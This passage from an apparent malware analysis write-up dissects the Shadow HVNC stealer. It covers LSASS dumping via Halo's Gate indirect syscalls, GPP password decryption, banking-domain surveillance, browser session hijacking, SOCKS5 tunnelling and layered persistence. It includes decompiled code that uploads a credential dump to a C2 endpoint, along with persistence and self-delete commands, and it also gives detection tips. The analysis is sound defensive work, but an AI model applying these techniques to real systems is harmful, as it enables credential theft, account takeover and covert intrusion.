logs:</strong> Shadow HVNC leverages wevtutil to export the Microsoft-Windows-TerminalServices-LocalSessionManager/Operational log into terminal_services_events.txt. That&#39;s not just about the victim now; it&#39;s about who else connects to this machine.</li><li><strong>The fingerprint:</strong> main.getSystemInfo gathers CPU model, total RAM, disk size, MAC, LAN IP, public IP (api.ipify.org), keyboard layouts, system locale, elevation state, and country code into the SystemInfo message that introduces the victim to the panel on connect.</li><li><strong>GPP passwords:</strong> Group Policy Preferences passwords are a legacy Active Directory weakness: admins once used GPP to push local-admin or service credentials to domain machines via XML files, and Microsoft inadvertently published the static AES key those files were encrypted with, meaning any domain user can read a cpassword out of SYSVOL and decrypt it. Shadow HVNC has that attack built in, obviously. main.collectGPPPasswords looks for Groups.xml in SYSVOL-style locations, and main.decryptGPPPassword recovers the cpassword values completely on its own: base64-decode, then AES-256-CBC with an all-zero IV and the 32-byte key Microsoft published and hardcoded in the binary; the recovered plaintext passwords will be recorded in gpp_passwords.txt. For the operator, a single hit is often domain-wide access: the classic use of cpassword was deploying one shared local administrator password to every machine in the environment, so one decrypted value can potentially mean local admin everywhere</li><li><strong>Autologon:</strong> Winlogon’s AutoAdminLogon, DefaultUserName, DefaultPassword is read from HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon and dumped into autologon.txt. This is one of the few places Windows keeps a password in plaintext. For the TA, this is usually a working interactive credential: autologon gets configured on machines meant to boot straight into a session, e.g., kiosks, POS terminals, lab, and those accounts are almost always local admins, or worse, a domain account when DefaultDomainName is set. And because such environments are typically cloned from one image, one autologon password tends to work on every sibling machine.</li><li><strong>Inventories:</strong> InstalledSoftware.txt (typical uninstall registry walk), InstalledBrowsers.txt, ProcessList.txt, a full environment dump (EnvironmentVariables.txt since people love to leave juicy tokens in env vars), active_sessions.txt, and a desktop Screenshot.jpg so the operator can determine if the machine is running in a sandbox or VM before even deciding to touch it.</li></ul><p>All of the “loot” lands in a single staging tree and the collection covers every local profile on the machine, not just the current user’s. Once the harvest completes, the tree is zipped into data.zip and sent off in one POST to /api/upload-data, with the victim&#39;s country code attached so the panel can sort it.</p><h3>Following dump_creds: How This Thing Runs &quot;mimikatz&quot; Without Ever Shipping Mimikatz</h3><p>The question that started this part of the analysis was: how the hell does it run mimikatz via lss.exe? The answer turns out to be a bit of a disappointment.</p><p>First, what the binary does not contain: no mimikatz. The string mimikatz appears exactly once in the entire binary, as part of the directory name, mimikatz-credentials. That&#39;s a staging folder: Shadow HVNC dumps LSASS memory with its own tiny tool that was previously mentioned above — lss.exe.</p><h4>The “thing” in the .data section</h4><p>Scanning the raw file for embedded PEs turns up three nested executables, all living in .data. The first one is our lss.exe (85c5a390f17891eee01d5fd10f20a98d).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*--yIINSSthfE0iiIA05Skw.png" /><figcaption>Embedded executables in Shadow HVNC (source: Malcat)</figcaption></figure><p>Carving it out and parsing the PE headers shows the import directory is empty. No kernel32, no ntdll, no advapi32, nothing.</p><p>By taking a look at the headers, we can see Malcat already identified a few hashes successfully. If we follow Malcat’s signature into .text, the first thing that turns up is a cluster of gs:[0x60] reads, a pointer to the PEB, the Process Environment Block. The PEB is a structure Windows builds for every process in its own address space: among other things, it holds the loader&#39;s list of every DLL the process has loaded. This tool&#39;s import table is empty, so before it can call anything, it has to find ntdll on its own; and the moment it uses GetModuleHandle/GetProcAddress type of resolution, it touches code an EDR is watching. The PEB walk solves both problems at once. So: the tool walks PEB -&gt; Ldr -&gt; InMemoryOrderModuleList, hashes each module&#39;s base name, and compares it against a hardcoded constant. The hash is just djb2, seed 0x1505, h = h*33 + c, with lowercase folded to uppercase first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0MLJvRXNIz3UuQjO35oaig.png" /><figcaption>Symbols (Malcat output)</figcaption></figure><p>Malcat identified twelve of the fifteen on its own, but the two name lookups, ntdll.dll and lsass.exe, aren&#39;t in its database because they aren&#39;t APIs. I added them as user constants (a two-rule Yara file in Malcat&#39;s constants folder data\constants\).</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/81d069c6d96c6f67abad1f2eaf3c9653/href">https://medium.com/media/81d069c6d96c6f67abad1f2eaf3c9653/href</a></iframe><p>Malcat identified twelve of the fifteen on its own, but the two name lookups, ntdll.dll and lsass.exe, aren&#39;t in its database because they aren&#39;t APIs. I added them as user constants as a Yara rule dropped into Malcat&#39;s data\constants\ folder.</p><p>Read the table above from top to bottom, and you have the entire logic, pretty much.</p><p>lss.exe calls NtQuerySystemInformation for the process snapshot, then walks the entries, djb2-hashing each process name and comparing against 0x7384117B (djb2(&quot;lsass.exe&quot;)). On a match, it reads the entry&#39;s UniqueProcessId field — the PID that goes into NtOpenProcess.</p><p>lss.exe never calls ntdll’s functions. Every Nt* export is a small stub that loads a service number into eax and runs syscall. The bytes are in readable memory; ntdll is mapped into every process, so the binary just reads the number out of the stub.</p><p>A clean stub starts with 4C 8B D1 B8 (mov r10, rcx; mov eax, ...), the number right after. An EDR hook replaces the first bytes with a jump (0xE9), which destroys the number. When the binary sees 0xE9, it walks to neighboring stubs, up to 500 in either direction, in 0x20-byte steps, counting steps, until it finds one that isn&#39;t hooked. Syscall numbers are sequential, so the neighbor&#39;s number minus or plus the step count gives back the hidden one. Reminds you of something? Right, this is the <a href="https://blog.sektor7.net/#!res/2021/halosgate.md"><strong>Halo&#39;s Gate</strong></a> technique. The call itself is an indirect syscall: the recovered number goes into eax, and execution jumps to the syscall; ret inside the target stub. Every call site passes the resolved address plus 0x12, the fixed offset of the syscall instruction in a standard stub, landing past the bytes the hook patched, so the call executes from ntdll&#39;s own memory. It&#39;s worth noting that no syscall number is hardcoded anywhere in the binary. The only constants are name hashes; the numbers are computed at runtime from the victim&#39;s own ntdll, so the tool doesn&#39;t break when Microsoft reassigns them between builds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8gUXAv5-UjW6qLEjOBcgnQ.png" /><figcaption><em>The Halo’s Gate check: clean stub (</em><em>4C), hooked stub (</em><em>E9), then walk the neighbors ±0x20 at a time.</em></figcaption></figure><p>What lss.exe produces is a minidump , a snapshot of a process’s memory saved to disk, in the same format Windows uses for crash reports. Most tools take the easy route: they call MiniDumpWriteDump from dbghelp.dll and let Windows assemble the file. This one never touches dbghelp — no DLL-load event, and no call for an EDR to watch; it builds the file itself. The copy is created by two syscalls in a loop: NtQueryVirtualMemory walks LSASS&#39;s address space region by region, up to the top of user memory, and for every region that comes back committed and readable, NtReadVirtualMemory pulls the contents out a page at a time, skipping whatever won&#39;t read. The copied memory is then wrapped in a ready-made minidump header the tool carries in .rdata, a template headed by the MDMP magic bytes (the minidump file signature, what parsers like mimikatz check first). What gets saved on disk is a valid minidump that mimikatz or pypykatz can parse as if they were looking at live LSASS. The file goes into the mimikatz-credentials staging folder, gets sent to the C2 in the harvest ZIP, and mimikatz only enters the picture later, on the TA’s machine.</p><h4>The launch sequence</h4><p>main.runCredDump function decompiles to the following:</p><pre>tmp := os.MkdirTemp(&quot;&quot;, ...)                  // &quot;[CREDS] MkdirTemp: %v&quot;<br>exe := filepath.Join(tmp, &quot;lss.exe&quot;)<br>dmp := filepath.Join(tmp, &quot;lss.dmp&quot;)<br><br>os.WriteFile(exe, embeddedLss, 0755)          <br>                                              // &quot;[CREDS] WriteFile lss.exe: %v&quot;<br><br>cmd := exec.Command(exe, dmp)                 // lss.exe &lt;output&gt; - takes one argument<br>cmd.Start()                                   // &quot;[CREDS] launching lss.exe (PID pending)...&quot;<br>                                              // &quot;[CREDS] lss.exe PID=%d running...&quot;<br>cmd.Wait()                                    <br>                                              // &quot;[CREDS] lss.exe exited cleanly&quot;<br><br>raw  := os.ReadFile(dmp)                      // &quot;[CREDS] dump size: %d bytes&quot;<br>blob := zlib.Compress(raw)                    // &quot;[CREDS] compressed %d -&gt; %d bytes (%.1f%%)&quot;<br>http.Post(fmt.Sprintf(<br>    &quot;http://%s/api/upload-creds?id=%s&amp;country=%s&amp;ts=%s&quot;,<br>    c2, sessionID, country, timestamp))       // ts format: 2006-01-02_15-04-05</pre><p>One log line gives us a clue here &quot;lss.exe failed to start — admin required&quot;. The LSASS dump needs admin rights, and that&#39;s the whole reason Shadow HVNC has three UAC bypasses, and we will talk about them later.</p><p>Even if the operator never sends the “mimikatz” dump command, it happens anyway: the first collection runs lss.exe automatically, packs the dump as lsass_dump.zip into the mimikatz-credentials folder.</p><h3>The Banking Watcher: over 6k Domains and an ETW Session Named RemoteX-DNS</h3><p>There is an embedded domain list in Shadow HVNC, even titled # Shadow Checker — Domains List in its own header, containing 6,040 entries, 6,014 unique domains (Appendix B). The embedded category markers break it down: 7 PayPal, then US banking — 55 major banks, 670 regional banks, and 3,236 credit unions (aacu.org, abileneteacherscu.org, accentcu.org, all the way through zionsbank.com), then 187 Canada, 183 UK, six further EU sections totaling 332, 95 AU/NZ, 188 LATAM banks &amp; fintech, 194 Africa banks &amp; mobile money, 123 Middle East, 80 Japan, 39 China, 39 Korea, 123 Southeast Asia, 71 India &amp; South Asia, 44 P2P payment domains, 162 gaming and Steam, and 212 cryptocurrency wallets &amp; DeFi. The parser (main.parseDomainList) lowercases each line, skips # comments, strips https:///http:///www. prefixes, and cuts paths at /. The targeting is weighted toward American banking customers, with the remainder of the list covering the global financial sector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3-C4kqirEGfvUYoCH5ahoA.png" /><figcaption>main.loadDomainsFile feeding the embedded list to main.parseDomainList</figcaption></figure><p>Instead of hooking browsers or polling anything, main.startETWDNSWatcher opens a real-time ETW (Event Tracing for Windows) trace session, named RemoteX-DNS, and subscribes to provider {1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}, Microsoft-Windows-DNS-Client. Every DNS resolution on the machine passes through this session via the go-etw bindings (Tdh.dll does the event decoding), and each query is checked against the target list. Stale sessions from previous runs are killed first (&quot;[ETW] session %q already exists — killing stale session&quot;). Creating the session requires admin or Performance Log Users membership, and even the code says so — &quot;[ETW] failed to create session: %v (need Admin or Performance Log Users group) — falling back to EnumWindows&quot;. Again, UAC bypass first, then the good stuff.</p><p>Regardless of whether ETW comes up, the watcher loop polls EnumWindows on every ticker cycle: getAllWindowTitles collects every visible window title, and matchAnyWindow lowercases each title and does a plain substring search for every watched domain (&quot;[DOMAINS] EnumWindows trigger: session started for %s&quot;).</p><p>The moment the victim resolves or opens a listed bank (has to match the full domain string), a capture session opens against the victim’s visible screen: &quot;[DOMAINS] ETW trigger: session started for %s&quot;, frames stream in (&quot;[DOMAINS] %s: frame %d (%d bytes)&quot;), and when the session closes the entire capture recording gets uploaded to the C2 — &quot;[DOMAINS] session ended: %s (%d frames) — uploading&quot; to POST /api/domain-screenshot?id=&lt;client ID&gt;&amp;domain=&lt;matched&gt;&amp;country=&lt;cc&gt;.</p><p>So the operator ends up with a screen recording of the victim’s actual online banking session — balances, layouts, which bank, which flow. And because the hidden browser runs the victim’s cloned profile on the victim’s own machine, the session is still live: the operator doesn’t log in, they just pick up where the victim left off. The domain list is also operator-refreshable: loadDomainsFile prefers a domains.txt dropped on disk in the working directory over the embedded list (&quot;[DOMAINS] loaded %d domain(s) from disk: %s&quot;).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*spPcJBW0edzwo0dueEOe4w.png" /><figcaption>main.loadDomainsFile function decompiled: checks domains.txt first; otherwise, it falls back to the embedded list</figcaption></figure><h3>Anatomy of a Broken Watcher</h3><p>When you subscribe to an ETW provider, a match-keyword bitmask means “only deliver events whose keyword tag overlaps mine” — a bitwise AND, so sharing even one bit is enough. main.startETWDNSWatcher subscribes to Microsoft-Windows-DNS-Client with the mask 0x800000000000 (bit 47). The provider stamps its Operational events with 0x8000000000000000 (bit 63).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*nQKEBUaCIjVsdD7jG6tqaw.png" /><figcaption>Microsoft-Windows-DNS-Client mask</figcaption></figure><pre>Shadow HVNC asks for:  0x0000800000000000<br>Events carry:          0x8000000000000000</pre><p>The AND is zero; every DNS event is dropped before it reaches the callback. ETW accepts a filter that matches nothing without returning an error, so the session is created, the callback registered, and the watcher stays connected but receives nothing. The shipped mask is four zeros short of the correct one.</p><p>Along with the blind ETW channel, the watcher polls window titles every 15 seconds and substring-matches each watched domain against the title text.</p><p><strong>Test in the VM:</strong> cmd /c start &quot;paypal.com&quot; cmd opens a console whose title is exactly paypal.com. The next poll tick starts a capture session, and ~60 seconds after the title disappears (time.Since(lastSeen) &gt;= 60s), it logs “session ended” and uploads to the C2. Note: the match requires the full domain, including the TLD. Chrome&#39;s tab tooltip shows the URL, which makes it look like the title matches, but only the &lt;title&gt; tag counts.</p><p>Why does real browsing almost never trip it for me?<strong> </strong>The matcher needs the literal domain in a title, and real sites’ &lt;title&gt; tags almost never contain the bare domain — PayPal&#39;s don&#39;t, and Chase&#39;s title does contain “Chase.com”.</p><h3>The HVNC Core, and the New “Backstage” Sessions</h3><p>The hidden-desktop engine that gave Shadow HVNC its name is still here, and still the most polished part of the codebase. The payload creates a second Win32 desktop named RemoteXHidden (CreateDesktopW) and binds a dedicated worker thread to it (SetThreadDesktop). Everything the operator does runs on the second desktop, which is invisible to the victim. The name RemoteXHidden is visible to EnumDesktops, which makes it a handy detection artifact, any desktop beyond Default and Winlogon is worth a look. You can try with a one-liner host check:</p><pre>$src=&#39;using System;using System.Runtime.InteropServices;public class DeskEnum{public delegate bool EnumProc([MarshalAs(UnmanagedType.LPWStr)] string n,IntPtr p);[DllImport(&quot;user32.dll&quot;)]public static extern IntPtr GetProcessWindowStation();[DllImport(&quot;user32.dll&quot;,CharSet=CharSet.Unicode)]public static extern bool EnumDesktops(IntPtr h,EnumProc cb,IntPtr p);}&#39;; Add-Type $src; $cb=[DeskEnum+EnumProc]{param($n,$p) Write-Host &quot;desktop: $n&quot;; $true}; [DeskEnum]::EnumDesktops([DeskEnum]::GetProcessWindowStation(),$cb,[IntPtr]::Zero) | Out-Null</pre><p>Screen capture has three paths, picked by target: full multi-monitor screenshots (kbinani/screenshot), a mode that sends only the parts of the screen that changed since the last frame (GDI dirty-rect deltas, JPEG-compressed via libjpeg-turbo), and direct page screenshots over Chrome DevTools Protocol when the target is a hidden browser. Live streaming compresses frames into H.264 video using go-openh264. The encoder DLL is not in the binary as we previously mentioned, and has to be fetched from Cisco’s official distribution site. In the detonation, the download fired the exact moment the operator opened the first HVNC session, before a single frame went out. Operator input travels the other way: keystrokes and clicks are injected as Windows input events (SendInput and mouse messages posted directly into the target window, with screen coordinates converted to that window’s coordinate space). BlockInput is imported too, called from main.setHiddenMode the moment a hidden session starts; the victim’s keyboard and mouse go dead while the operator’s clicks are posted straight into hidden windows. The same function also broadcasts SC_MONITORPOWER, so the victim’s screen goes dark at the same moment.</p><p>Detection can be easy here, because the binary touches disk in two predictable places. Shadow HVNC copies locked browser databases to &lt;original filename&gt;.rxcopy right next to the original, so Login Data.rxcopy, Cookies.rxcopy, or cookies.sqlite.rxcopy appearing inside a browser profile folder is a dead giveaway. The profile-cloning side stages everything under %LOCALAPPDATA%\RemoteX\Profiles\, copying to a &lt;profile&gt;.staging directory first and renaming it into place when done. So, watch for *.rxcopy inside browser profile directories and for %LOCALAPPDATA%\RemoteX\Profiles\ (including leftover *.staging folders).</p><p>The panel has both as separate menu entries: Hidden Mode sends start_hidden_browser and launches the browser on the pre-staged clone — it never fights the victim&#39;s browser for the profile. Backstage Mode sends start_backstage: it points --user-data-dir at the victim&#39;s real profile, so the operator gets the live session instantly — current cookies, active logins, exactly what the victim&#39;s browser has right now.</p><p>Chrome allows only one process to own a profile, and a second chrome.exe launched with the same --user-data-dir just hands off to the already-running instance. So the payload forcibly takes the profile: it kills the victim&#39;s Chrome, launches its hidden copy on the now-free profile, and holds it. Each launch gets a generation tag — an epoch counter carried in the session URL (/ws/backstage-src?target=&lt;browser&gt;&amp;generation=&lt;n&gt;) - so stale commands from an old session can&#39;t kill the new hidden browser.</p><p>A watchdog goroutine (startChromeBlocker) kills every chrome.exe except its own hidden one with OpenProcess/TerminateProcess on a timer, and keeps killing it if the victim relaunches. The log line is blunt: [CHROME-BLOCK] killed user chrome.exe PID=%d (hidden PID=%d). For the victim this looks like Chrome crashing and refusing to stay open. For a defender it&#39;s a gift: any process repeatedly terminating browsers it didn&#39;t spawn is worth a closer look.</p><p>For Chrome cookie theft, Shadow HVNC doesn’t build its own — it embeds the public ChromElevator v0.20.0 injector from @xaitax’s <a href="https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption">Chrome-App-Bound-Encryption-Decryption project on GitHub</a> (carved from .data, MD5 1d04536714bb22a3e909525a7dd627f0, invoked as chrome_injector.exe -f all). The capabilities come straight from the project: direct syscalls with runtime SSN resolution, reflective hollowing of a suspended browser process, a ChaCha20-encrypted payload DLL injected in-memory, and COM IElevator abuse — the payload calls the browser&#39;s own elevation service from inside a hollowed browser process, so the App-Bound Encryption checks pass and the master key is handed over. Then it&#39;s a full SQL dump of every Chromium profile&#39;s cookies, logins, credit cards, IBANs and tokens, written as JSON and inlcuded in the ZIP archive.</p><h3>The Reverse Proxy Feature</h3><p>How it works is that the operator picks a client, a target host:port, and a local port, with one-click presets for SOCKS5, RDP:3389, SSH:22, HTTP:80, HTTPS:443, SMB:445, MySQL:3306, MSSQL:1433, and VNC:5900, and hits Start Tunnel. The Active Tunnels table tracks status, external access address, traffic counters, and uptime per tunnel.</p><p>The panel exposes it as three control actions, straight out of the handleControl dispatch: start_proxy (params conn_id, target), start_socks5 (param conn_id), and stop_proxy (param conn_id).</p><p>With <strong>generic tunnel mode</strong>, the payload connects to the requested target from the victim machine, net.DialTimeout(“tcp”, target, 10s), stores the connection in a sync.Map under its conn_id, and moves bytes in both directions with a 32 KB read loop (“[PROXY] connected to %s (id=%d)”, “[PROXY] dial %s (id=%d): %v”, “[PROXY] closed id=%d”). The payload connects to whatever internal target the panel specifies and relays the operator’s traffic through the victim, so to the target it’s just the victim machine talking, with the victim’s IP. Whatever the infected machine can reach (a neighbor over RDP, a file server over SMB), the operator can now reach too.</p><p>With <strong>SOCKS5 mode</strong>, the payload goes a bit further: the payload starts a full SOCKS5 server on a random loopback port (net.Listen(“tcp”, “127.0.0.1:0”)) and feeds the operator’s stream into it through the same tunnel (“[SOCKS5] started on %s (id=%d)”). That gives the operator a standard SOCKS5 endpoint — any of their tools can use it, and every connection they request exits from the victim machine, with the victim’s IP.</p><p>Tunnels are multiplexed over the existing C2 WebSocket as binary frames:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/63cec90e37cd6edf6a47637429e6b6cc/href">https://medium.com/media/63cec90e37cd6edf6a47637429e6b6cc/href</a></iframe><h3>The Rest of the Stealer…</h3><p>There are 42 main.collect* functions in Shadow HVNC (full list in Appendix A). Gecko-based browsers get their logins.json/key4.db treatment with in-process NSS decryption ([GECKO] tags). Roughly seventy named crypto-wallet targets, both desktop and browser-extension (full lists in Appendices B and C), are copied along with Telegram tdata, Discord token LevelDBs, and Steam&#39;s session files (steam_tokens.txt, steam.zip, plus an on-demand refresh_steam_token command).</p><p>refresh_steam_token is Steam account takeover in a single command. It pulls the session JWTs out of Steam&#39;s config.vdf and loginusers.vdf and copies the ssfn sentry files — Steam&#39;s device-authorization proof, the file that lets Steam Guard skip the email code on a recognized machine. Everything is zipped into steam.zip along with a token.txt and uploaded to C2 via /api/upload-data.</p><p>The collectors reach beyond just gaming and wallets. WiFi profiles, VPN configs (TorGuard, AzireVPN, IPVanish, OpenVPN, NordVPN, Mullvad, ExpressVPN, Windscribe, ProtonVPN, CyberGhost, Surfshark, WireGuard), ~/.ssh, .gitconfig/.netrc, AWS/Azure/GCP credential files, and .pypirc/composer_auth.json/terraform_credentials.json are all in scope. So are eight password-manager products, Outlook/MSAL token caches plus seven more email clients, and the Windows Vault via CredEnumerateW. Remote-access tooling is covered too — AnyDesk, TeamViewer, mRemoteNG, Royal TS, FileZilla, WinSCP, and PuTTY.</p><p>main.collectSeedPhrases ([SEED]) does content scanning for BIP39-style seed words and passphrases, not just file grabbing — a meaningful escalation for crypto theft. collectTwoFactorBackupCodes looks for *recovery*, *one*time*, *codes* files — artifacts that enables account-recovery attacks. And collectSensitiveFiles ([SENSFILES]) collects documents by identity keyword: id card, passport, tax return, payslip, birthcert, residency, insurance, debit card, utility bills, medicare, mortgage, 1099 — a keyword set aimed at gathering the documents needed for identity theft. Everything gets normalized, deduplicated into All Passwords.txt, passwords_unique.txt, passwords_encrypted.txt.</p><p>The RAT fundamentals are also present here: a WH_KEYBOARD_LL keylogger that uploads to /api/keylog every 60 seconds; live clipboard monitoring and remote clipboard write (used for crypto-address replacement); webcam snaps taken through an embedded PowerShell script with WIA (Windows Image Acquisition, the built-in camera/scanner API); a full interactive terminal channel; and a file manager with a server-side fetch endpoint.</p><h3>What Actually Leaves Your PC</h3><p>Everything above is what the binary can do. So, this section is what it did do: the sample was detonated in an isolated VM, and the harvest bundle it produced was captured with directory name 2026-07-22_23-06-49. Eighteen megabytes and 26 files. Here&#39;s the tree, annotated with the code that produced each piece:</p><pre>2026-07-22_23-06-49/<br>├── mimikatz-credentials/<br>│   └── lsass_dump.zip                    lss.dmp<br>├── Chrome/<br>│   ├── Default/cookies.json              ┐ ChromeElevator injector output:<br>│   ├── Default/cookies.txt               ┘ cookies in JSON<br>│   └── fingerprint.json                  browser fingerprint<br>├── Cookies/<br>│   ├── Cookies_Chrome_Default.txt        ┐ normalized per-profile cookie dumps<br>│   └── Cookies_Firefox_6ukz128v.txt      ┘ (convertChromeCookiesJSONToTxt)<br>├── Firefox/<br>│   └── 6ukz553v.default-release/<br>│       ├── cookies.json                  ┐ collectFirefoxData - per-profile<br>│       └── cookies.txt                   ┘ cookie extraction (cookies.sqlite)<br>├── privileges/<br>│   ├── whoami_all.txt                    cmd /c whoami /all<br>│   ├── whoami_priv.txt                   cmd /c whoami /priv<br>│   └── net_user.txt                      cmd /c net user REM<br>├── lateral-movement/<br>│   ├── local_admins.txt                  cmd /c net localgroup administrators<br>│   ├── local_users.txt                   cmd /c net user<br>│   └── network_map.txt                   cmd /c arp -a  +  cmd /c net use<br>├── RDPConnections/<br>│   ├── mru_hosts.txt                     HKCU\Software\Microsoft\Terminal Server Client\{Default,Servers}<br>│   ├── active_sessions.txt               session enumeration<br>│   └── terminal_services_events.txt      wevtutil - TERMSRV Operational log<br>├── EnvironmentVariables/<br>│   └── SystemEnvironmentVariables.txt    full env dump<br>├── WiFi/<br>│   └── wifi_profiles.txt                 WLAN profiles<br>├── SeedPhrases/                          seed phrases<br>├── SensitiveFiles/<br>│   └── Desktop_ShadowHVNC-v5.5_Server_data_XX_RX-BF3342B3A7EFAC24_keylog.txt   - keyword-grabbed doc<br>├── InstalledBrowsers.txt                 installed browsers<br>├── InstalledSoftware.txt                 installed programs<br>├── ProcessList.txt                       running processes<br>├── Screenshot.jpg                        the victim&#39;s desktop (283 KB)<br>└── url_uniq_cookies.log                  cookie-domain list (ranks cookie domains by count)</pre><p>It’s worth noting that the browser fingerprint<strong> </strong>fingerprint.json doesn&#39;t just say &quot;Chrome exists&quot; — it records the exact browser build (150.0.7871.182), the profile path, and the machine&#39;s security posture: enterprise_managed: true, password_manager_enabled: false, autofill_enabled: true, safe_browsing_enabled: true, plus the installed extension list.</p><h3>The Yandex Files: A Cookie Feature That Decrypts Nothing?</h3><p>Yandex Browser deserves its own section. First, let’s cover some background. Yandex Browser keeps two separate password stores. There’s the inherited Chromium one — User Data\&lt;profile&gt;\Login Data, AES-256-GCM blobs with the v10 prefix, master key in Local State under os_crypt.encrypted_key and DPAPI-wrapped. And then there&#39;s Yandex&#39;s own password manager — the one the browser&#39;s default &quot;Save password?&quot; prompt actually feeds, which lives in Ya Passman Data (plus Ya Credit Cards), protected by a completely different sealed-key scheme: an encrypted_encryption_key wrapped in RSA-OAEP, an encrypted_private_key wrapped in AES-GCM under a PBKDF2-SHA256 key derived from the user&#39;s optional master password, and per-record AES-256-GCM with a SHA-1 hash of the login fields as additional authenticated data. The open-source <a href="https://github.com/Goodies365/YandexDecrypt">YandexDecrypt PoC</a> implements that scheme in about 150 lines of Go. But Shadow HVNC doesn&#39;t — the native vault isn&#39;t decrypted; it isn&#39;t even copied.</p><p>What this binary does have is two dedicated Yandex collectors. main.collectYandexPasswords walks %LOCALAPPDATA%\Yandex\YandexBrowser\User Data, pulls the master key from Local State via main.readChromiumAESKey (JSON-unmarshal os_crypt.encrypted_key -&gt; base64 -&gt; strip the DPAPI prefix → CryptUnprotectData -&gt; 32-byte master key), then runs each profile through the shared main.collectChromiumPasswords. The decryptor, main.decryptChromiumValue, opens with a format tag: blobs starting with v10 are AES-256-GCM (12-byte nonce right after the tag, master key from Local State); anything without the tag is an older raw-DPAPI blob. The decryptor&#39;s first move is that tag test — shown in the decompile as integer comparisons, since Go compares short strings as packed integers: 12662 = 0x3176 → bytes 76 31 = “v1”, and 48 = 0x30 = “0”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*v50NbYcAKngeRSyoOjvEbg.png" /><figcaption>The decryptor’s format check — blobs starting with “v10” go to AES-GCM, everything else falls to DPAPI</figcaption></figure><p>The cookie collector is the broken one. main.collectYandexData locates each profile’s Network\Cookies, copies it to a .rxcopy to dodge the SQLite lock, opens it read-only, and queries the cookies table. Then it decrypts every encrypted_value with main.dpiapiDecrypt — yes, really spelled dpiapi in the binary and that function is just a CryptUnprotectData wrapper. Since Chrome 80, Chromium-family cookies, Yandex included, are v10 AES-256-GCM blobs, not DPAPI blobs. So against any modern install, the Yandex cookie pipeline doesn’t work.</p><h3>The Watchdog: Eight Ways Back In</h3><p>The third carved PE (MD5 9675c957a5fded266939e314abff2078) is a completely standalone Go binary, the binary’s resurrection engine. The binary drops it to %LOCALAPPDATA%\Microsoft\Windows\WmiPrvSE.exe and launches it on every C2 connect, unconditionally, from a goroutine spawned inside connectAndRun. The two processes (Shadow HVNC and watchdog or WmiPrvSE.exe) keep each other alive: the watchdog waits on the binary’s PID and relaunches it the moment it dies, and the HVNC binary does the same in reverse; if the watchdog goes missing, the payload drops a fresh copy and starts it again.</p><p>Shadow HVNC owns the RemoteX Run value and the winSvc service (mouse driver watchdog helper) described in the Startup Mess section. The watchdog, when launched in --guard mode, immediately installs its own persistence:</p><ul><li><strong>Run keys</strong> — WindowsManagementInstrumentation in both HKCU and HKLM, each carrying the command line: &quot;&lt;self&gt;&quot; --watch --exe &quot;&lt;target&gt;&quot;, where &lt;self&gt; is the path to the watchdog copy itself, e.g. C:\Users\&lt;user&gt;\AppData\Local\Microsoft\Windows\WmiPrvSE.exe and &lt;target&gt; is the path to the Shadow HVNC, e.g. %LOCALAPPDATA%\Microsoft\Windows\&lt;name&gt;.exe</li><li><strong>Logon script</strong> — HKCU\Environment\UserInitMprLogonScript</li><li><strong>Scheduled tasks </strong>— six entries: MicrosoftWindowsManagementHost (ONLOGON), MicrosoftWindowsManagementHostBoot (ONSTART), MicrosoftWindowsManagementHostPerf (every 10 minutes), MicrosoftWindowsManagementClient (ONLOGON), MicrosoftWindowsManagementClientBoot (ONSTART), MicrosoftWindowsManagementClientPerf (every 5 minutes)</li><li><strong>Startup folder</strong> — WindowsSystemComponent.lnk</li><li><strong>PowerShell profile injection </strong>— a launch line (Start-Process -WindowStyle Hidden -FilePath &#39;%s&#39;) appended to both Documents\WindowsPowerShell\profile.ps1 (PS5) and Documents\PowerShell\profile.ps1 (PS7). Every PowerShell window executes the profile silently before showing a prompt, so any console opened by any means relaunches the payload.</li><li><strong>An WMI event subscription</strong> — a 30-second Win32_LocalTime heartbeat that re-executes the target (described below under <strong>The Binary, Up Close</strong> section)</li><li><strong>Active Setup</strong> and <strong>Winlogon</strong> persistence — writes a StubPath value under HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{F5073CF3-1E3A-4B2E-9A5D-B1C2D3E4F506} so the payload executes for every user at logon; also appends to the Userinit value under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, which normally contains only C:\Windows\system32\userinit.exe,.</li><li><strong>All-users layer</strong> (when elevated) — copies both binaries into %ProgramData%\Microsoft\Windows\, HKLM Run values pointing at the copies, a shortcut under C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\, three SYSTEM tasks (ClientSystem, ClientSystemBoot, HostSystem)</li></ul><p>The watchdog has its own four-method UAC bypass chain (fodhelper, computerdefaults, silentcleanup and cmstplua COM elevation). There is no “no persistence” mode in this binary. You remove one layer, and the others resurrect it. The only way out is the kill_switch command, which makes the payload invoke the watchdog with — kill. It then deletes the WindowsManagementInstrumentation Run values, UserInitMprLogonScript, and the Active Setup key; edits Winlogon Userinit — reads the value, removes its own entry, writes the rest back; removes all three WMI subscription objects via wmic; deletes every shortcut including the per-profile sweep; and deletes all nine scheduled tasks mentioned above and finally attempts to self-delete using a well-known delayed-deletion command:</p><ul><li>cmd /c ping -n 3 127.0.0.1 &gt; nul &amp; del /f /q “&lt;self&gt;”</li></ul><p>It’s also worth noting that --kill is not a complete uninstall: it leaves behind the %ProgramData% copies of both binaries, the injected PowerShell profile lines, and the Shadow HVNC payload itself.</p><h4>The Binary, Up Close</h4><p>The watchdog has exactly three operating modes:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/797022b553fe2c37c1327c6301d297e8/href">https://medium.com/media/797022b553fe2c37c1327c6301d297e8/href</a></iframe><p>The guard loop opens a handle to the target PID (OpenProcess) and calls WaitForSingleObject with an infinite timeout, which does exactly what it says: the watchdog sleeps until the target process dies. When the call returns, the target is dead; the watchdog waits 30 seconds, then relaunches it hidden (CREATE_NO_WINDOW | 